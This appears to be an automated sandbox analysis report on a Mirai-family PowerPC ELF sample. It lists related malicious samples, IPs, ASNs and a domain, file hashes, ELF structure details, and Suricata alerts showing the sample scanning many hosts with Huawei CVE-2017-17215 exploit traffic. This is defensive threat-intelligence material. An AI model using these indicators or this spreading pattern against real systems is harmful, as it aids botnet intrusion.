	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	8YydizQrhv.elf	Get hash	malicious	Unknown	Browse
	HrSXKWYI9L.elf	Get hash	malicious	Mirai	Browse
156.55.40.94	6AU1Y1X4Oy.elf	Get hash	malicious	Mirai, Moobot	Browse
156.73.167.200	Xzh7CHryI8	Get hash	malicious	Mirai	Browse
156.141.254.114	x86	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
counterstrike2-cheats.com	ZB2ShQdNBY.elf	Get hash	malicious	Mirai	Browse	45.137.198.211
	UuYpv6CTVM.elf	Get hash	malicious	Mirai	Browse	45.137.198.211
	S2sQfgIthZ.elf	Get hash	malicious	Mirai	Browse	45.137.198.211
	lOR9WmVKs5.elf	Get hash	malicious	Mirai	Browse	45.137.198.211
	sXi5OsfvVH.elf	Get hash	malicious	Mirai	Browse	45.137.198.211
	n9q8iS3aIJ.elf	Get hash	malicious	Mirai	Browse	45.137.198.211
	2LgQzImW3E.elf	Get hash	malicious	Mirai	Browse	45.137.198.211
	Hys3ySfAxL.elf	Get hash	malicious	Mirai	Browse	45.137.198.211
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	45.137.198.211
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	45.137.198.211

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CELL-CZA	ZB2ShQdNBY.elf	Get hash	malicious	Mirai	Browse	197.108.43.25
	UuYpv6CTVM.elf	Get hash	malicious	Mirai	Browse	197.109.158.26
	S2sQfgIthZ.elf	Get hash	malicious	Mirai	Browse	197.109.158.59
	lOR9WmVKs5.elf	Get hash	malicious	Mirai	Browse	197.109.183.104
	sXi5OsfvVH.elf	Get hash	malicious	Mirai	Browse	197.168.76.235
	n9q8iS3aIJ.elf	Get hash	malicious	Mirai	Browse	197.172.74.2
	Hys3ySfAxL.elf	Get hash	malicious	Mirai	Browse	197.168.180.89
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	41.157.29.89
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	41.54.60.145
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	41.157.64.0
LANDAMUS	n9q8iS3aIJ.elf	Get hash	malicious	Mirai	Browse	156.55.39.86
	ppc.elf	Get hash	malicious	Mirai	Browse	156.55.53.193
	154.216.17.9-skid.arm7-2024-08-04T06_23_04.elf	Get hash	malicious	Mirai, Moobot	Browse	156.55.53.171
	205.185.120.123-skid.arm-2024-07-27T10_33_40.elf	Get hash	malicious	Mirai, Moobot	Browse	156.55.40.42
	94.156.8.9-skid.arm5-2024-07-23T17_40_09.elf	Get hash	malicious	Mirai, Moobot	Browse	156.55.40.66
	Vpd1bLs6aL.elf	Get hash	malicious	Mirai	Browse	156.55.40.87
	arm5.elf	Get hash	malicious	Mirai	Browse	156.55.40.84
	CnqpVfDyUH.elf	Get hash	malicious	Mirai	Browse	156.55.40.91
	1IXIIseuHR.elf	Get hash	malicious	Mirai, Gafgyt	Browse	156.55.52.78
	hmips-20240612-1156.elf	Get hash	malicious	Mirai	Browse	156.55.40.95
ClaroSABR	Hys3ySfAxL.elf	Get hash	malicious	Mirai	Browse	186.223.56.8
	gkjeNrdkot.elf	Get hash	malicious	Mirai	Browse	200.172.238.41
	eLSH927bGM.elf	Get hash	malicious	Unknown	Browse	187.25.72.244
	7paG4dIQuu.elf	Get hash	malicious	Mirai	Browse	189.93.254.142
	WNHEP77Hem.elf	Get hash	malicious	Unknown	Browse	177.81.196.180
	BpcC8hBhCN.elf	Get hash	malicious	Mirai	Browse	179.105.7.75
	f8fKadLyb4.elf	Get hash	malicious	Mirai	Browse	186.222.79.110
	na.elf	Get hash	malicious	Unknown	Browse	187.107.118.37
	na.elf	Get hash	malicious	Unknown	Browse	187.23.151.15
	na.elf	Get hash	malicious	Unknown	Browse	189.94.180.223
ONL-HKOCEANNETWORKLIMITEDHK	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse	45.202.35.101
	file.exe	Get hash	malicious	Amadey	Browse	45.202.35.101
	mips.elf	Get hash	malicious	Mirai	Browse	156.249.107.52
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.249.107.46
	vFjfAgq5PM.msi	Get hash	malicious	Amadey	Browse	45.202.35.101
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	45.202.35.64
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	45.202.35.64
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse	45.202.35.64
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse	45.202.35.64
	mips.nn.elf	Get hash	malicious	Okiru	Browse	45.202.35.64

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.357946733520518
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	aXyM30sV1V.elf
File size:	76'928 bytes
MD5:	ac4891600279aceb2b9569aad52bbd62
SHA1:	95e6984ab6fd47e20bdaf74a88e3a43a1ae16296
SHA256:	23d8c0f949acb9fde1aceb6b9f638d17ede6397c5ac43200a65413e51ae6b785
SHA512:	83ef7382b6b97577c0c47799b69dfbe6201cae7df1ef8b2a0b29429921a592055796ad9b301fa088c1f9245d790205b86f368986b88d6b2da81f7896deb41380
SSDEEP:	1536:3frFF+l/IinJhq0JdzeuK5giWpzCeGX4PMz:3zr0u0D26AeQ
TLSH:	4B734B0133688F07E8AA4EF9242F17D483FEEE4011F5F5856A0FAB5A4235E335956F98
File Content Preview:	.ELF...........................4........4. ...(......................(...(...............( ..( ..( ...4............dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?............../...@..\?.....(<.+../...A..$8...})....(<N..

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	76448
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x11604	0x0	0x6	AX	4
.fini	PROGBITS	0x100116bc	0x116bc	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x100116dc	0x116dc	0x1140	0x0	0x2	A	4
.ctors	PROGBITS	0x10022820	0x12820	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x10022828	0x12828	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x10022838	0x12838	0x1fc	0x0	0x3	WA	8
.sdata	PROGBITS	0x10022a34	0x12a34	0x20	0x0	0x3	WA	4
.sbss	NOBITS	0x10022a54	0x12a54	0x80	0x0	0x3	WA	4
.bss	NOBITS	0x10022ad4	0x12a54	0x43c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x12a54	0x4b	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x1281c	0x1281c	6.3882	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x12820	0x10022820	0x10022820	0x234	0x6f0	3.0310	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T20:34:47.023352+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52538	41.71.213.174	37215	TCP
2024-10-08T20:34:54.618411+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37268	197.235.13.125	37215	TCP
2024-10-08T20:34:54.754531+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59808	197.129.240.243	37215	TCP
2024-10-08T20:34:55.261394+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57476	197.130.245.62	37215	TCP
2024-10-08T20:34:59.660938+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34024	156.226.59.25	37215	TCP
2024-10-08T20:35:06.363633+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39898	197.169.44.159	37215	TCP
2024-10-08T20:35:06.378418+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52900	197.53.135.75	37215	TCP
2024-10-08T20:35:06.380061+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57252	197.120.159.78	37215	TCP
2024-10-08T20:35:06.384161+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46710	156.136.228.139	37215	TCP
2024-10-08T20:35:06.394888+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50070	41.66.89.207	37215	TCP
2024-10-08T20:35:06.394922+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47660	197.146.79.42	37215	TCP
2024-10-08T20:35:06.398612+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58616	197.75.45.209	37215	TCP
2024-10-08T20:35:06.425540+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36528	41.103.212.117	37215	TCP
2024-10-08T20:35:06.429360+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56320	41.196.1.126	37215	TCP
2024-10-08T20:35:06.429431+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49720	156.74.149.151	37215	TCP
2024-10-08T20:35:06.440682+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52650	197.67.121.133	37215	TCP
2024-10-08T20:35:06.445222+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42110	197.100.85.188	37215	TCP
2024-10-08T20:35:06.456648+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56946	41.200.79.242	37215	TCP
2024-10-08T20:35:06.457366+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39644	197.103.175.106	37215	TCP
2024-10-08T20:35:06.473996+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50072	156.112.111.237	37215	TCP
2024-10-08T20:35:06.476567+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41382	197.139.250.29	37215	TCP
2024-10-08T20:35:06.503935+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60008	156.224.97.47	37215	TCP
2024-10-08T20:35:06.520842+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45858	156.252.34.119	37215	TCP
2024-10-08T20:35:06.521114+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38406	41.171.155.222	37215	TCP
2024-10-08T20:35:06.535645+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52806	156.212.37.239	37215	TCP
2024-10-08T20:35:06.535673+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59484	197.205.151.131	37215	TCP
2024-10-08T20:35:06.537697+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44704	197.47.170.78	37215	TCP
2024-10-08T20:35:06.537697+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40276	41.240.69.60	37215	TCP
2024-10-08T20:35:06.540833+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52058	41.62.139.88	37215	TCP
2024-10-08T20:35:06.556497+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37644	197.242.35.187	37215	TCP
2024-10-08T20:35:06.556497+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60524	197.94.55.209	37215	TCP
2024-10-08T20:35:06.556503+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34346	156.9.173.187	37215	TCP
2024-10-08T20:35:06.556508+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52270	197.114.205.104	37215	TCP
2024-10-08T20:35:06.556531+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49614	156.244.34.40	37215	TCP
2024-10-08T20:35:06.566555+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56960	197.247.144.107	37215	TCP
2024-10-08T20:35:06.567341+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54604	156.139.56.40	37215	TCP
2024-10-08T20:35:06.567370+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39500	156.171.60.191	37215	TCP
2024-10-08T20:35:06.567420+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45862	197.5.175.128	37215	TCP
2024-10-08T20:35:06.567420+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44006	41.228.100.124	37215	TCP
2024-10-08T20:35:06.567636+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59306	197.200.82.162	37215	TCP
2024-10-08T20:35:06.571796+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39048	156.242.157.164	37215	TCP
2024-10-08T20:35:06.571814+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57498	197.240.239.215	37215	TCP
2024-10-08T20:35:06.571823+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39602	41.170.240.154	37215	TCP
2024-10-08T20:35:06.583746+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50606	41.225.209.41	37215	TCP
2024-10-08T20:35:06.588649+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52218	156.43.132.129	37215	TCP
2024-10-08T20:35:06.588653+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33566	156.8.55.141	37215	TCP
2024-10-08T20:35:06.588668+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42376	156.127.1.25	37215	TCP
2024-10-08T20:35:06.603342+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47336	41.61.90.18	37215	TCP
2024-10-08T20:35:06.612723+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37782	41.98.76.2	37215	TCP
2024-10-08T20:35:06.612987+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58274	197.94.191.86	37215	TCP
2024-10-08T20:35:06.617692+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46656	156.210.51.216	37215	TCP
2024-10-08T20:35:06.617734+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51222	41.33.42.250	37215	TCP
2024-10-08T20:35:06.617745+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55218	197.183.193.206	37215	TCP
2024-10-08T20:35:06.618300+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46928	41.102.203.253	37215	TCP
2024-10-08T20:35:06.633116+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52690	156.133.98.88	37215	TCP
2024-10-08T20:35:06.633127+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59484	41.126.15.131	37215	TCP
2024-10-08T20:35:06.633133+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42220	156.211.117.106	37215	TCP
2024-10-08T20:35:06.633149+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55048	156.33.3.166	37215	TCP
2024-10-08T20:35:06.633246+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60220	197.153.188.64	37215	TCP
2024-10-08T20:35:06.637733+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55708	41.237.78.220	37215	TCP
2024-10-08T20:35:06.637733+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36460	41.121.20.163	37215	TCP
2024-10-08T20:35:06.637788+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51186	197.221.227.11	37215	TCP
2024-10-08T20:35:06.637809+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48954	41.50.101.100	37215	TCP
2024-10-08T20:35:06.647809+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53810	156.192.248.123	37215	TCP
2024-10-08T20:35:06.648525+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52950	41.49.156.70	37215	TCP
2024-10-08T20:35:06.653215+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58030	197.138.131.243	37215	TCP
2024-10-08T20:35:06.662570+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37312	156.13.36.43	37215	TCP
2024-10-08T20:35:06.684318+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37110	156.196.97.204	37215	TCP
2024-10-08T20:35:06.692839+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58352	197.118.22.201	37215	TCP
2024-10-08T20:35:06.722627+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37524	41.103.121.35	37215	TCP
2024-10-08T20:35:06.726904+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52512	156.40.104.148	37215	TCP
2024-10-08T20:35:06.726966+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44860	197.59.58.68	37215	TCP
2024-10-08T20:35:06.753602+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42658	156.228.8.25	37215	TCP
2024-10-08T20:35:06.753706+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41538	197.61.130.134	37215	TCP
2024-10-08T20:35:06.754179+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39602	197.3.1.37	37215	TCP
2024-10-08T20:35:06.755341+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59302	156.15.255.64	37215	TCP
2024-10-08T20:35:06.786772+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56478	197.249.177.156	37215	TCP
2024-10-08T20:35:06.786772+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59134	41.233.118.37	37215	TCP
2024-10-08T20:35:07.651170+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59414	156.224.146.131	37215	TCP
2024-10-08T20:35:07.659983+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42768	41.39.101.230	37215	TCP
2024-10-08T20:35:07.676324+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40306	41.32.197.61	37215	TCP
2024-10-08T20:35:07.676964+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38706	197.29.27.45	37215	TCP
2024-10-08T20:35:07.680874+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51342	156.130.3.215	37215	TCP
2024-10-08T20:35:07.681195+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55866	156.68.138.126	37215	TCP
2024-10-08T20:35:07.681441+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50954	41.115.234.247	37215	TCP
2024-10-08T20:35:07.682235+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50966	41.47.159.130	37215	TCP
2024-10-08T20:35:07.682433+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48562	41.202.0.65	37215	TCP
2024-10-08T20:35:07.691720+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44852	41.7.7.103	37215	TCP
2024-10-08T20:35:07.692904+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54588	156.235.39.57	37215	TCP
2024-10-08T20:35:07.695009+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36296	197.90.138.159	37215	TCP
2024-10-08T20:35:07.695347+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57946	41.125.245.240	37215	TCP
2024-10-08T20:35:07.696980+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60804	197.56.8.149	37215	TCP
2024-10-08T20:35:07.697296+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46754	156.151.29.185	37215	TCP
2024-10-08T20:35:07.722755+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49060	156.48.218.124	37215	TCP
2024-10-08T20:35:07.744582+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45258	156.227.235.113	37215	TCP
2024-10-08T20:35:07.753719+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56704	41.11.98.189	37215	TCP
2024-10-08T20:35:07.788695+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39294	156.121.39.131	37215	TCP
2024-10-08T20:35:07.791423+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48064	156.226.176.193	37215	TCP
2024-10-08T20:35:07.799377+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43266	156.228.148.175	37215	TCP
2024-10-08T20:35:07.826723+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45814	41.71.217.122	37215	TCP
2024-10-08T20:35:07.862528+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33334	197.7.221.81	37215	TCP
2024-10-08T20:35:08.706762+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37184	41.93.241.64	37215	TCP
2024-10-08T20:35:08.706840+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33544	156.15.227.166	37215	TCP
2024-10-08T20:35:08.707522+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44002	197.160.183.42	37215	TCP
2024-10-08T20:35:08.708617+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57526	156.198.67.203	37215	TCP
2024-10-08T20:35:09.299824+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58160	197.7.80.57	37215	TCP
2024-10-08T20:35:09.706744+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35676	41.147.107.132	37215	TCP
2024-10-08T20:35:09.722196+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60186	156.15.115.61	37215	TCP
2024-10-08T20:35:09.722438+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48836	41.176.3.251	37215	TCP
2024-10-08T20:35:09.723984+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39942	41.119.100.224	37215	TCP
2024-10-08T20:35:09.724140+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55122	156.211.13.119	37215	TCP
2024-10-08T20:35:09.726166+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39706	156.97.3.108	37215	TCP
2024-10-08T20:35:09.726392+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49784	197.90.154.72	37215	TCP
2024-10-08T20:35:09.726508+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52770	156.74.174.9	37215	TCP
2024-10-08T20:35:09.726525+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59542	41.185.187.78	37215	TCP
2024-10-08T20:35:09.739275+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51720	156.9.1.62	37215	TCP
2024-10-08T20:35:09.742069+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56142	156.144.221.185	37215	TCP
2024-10-08T20:35:09.742156+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49298	41.90.124.245	37215	TCP
2024-10-08T20:35:09.743617+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56276	156.24.184.74	37215	TCP
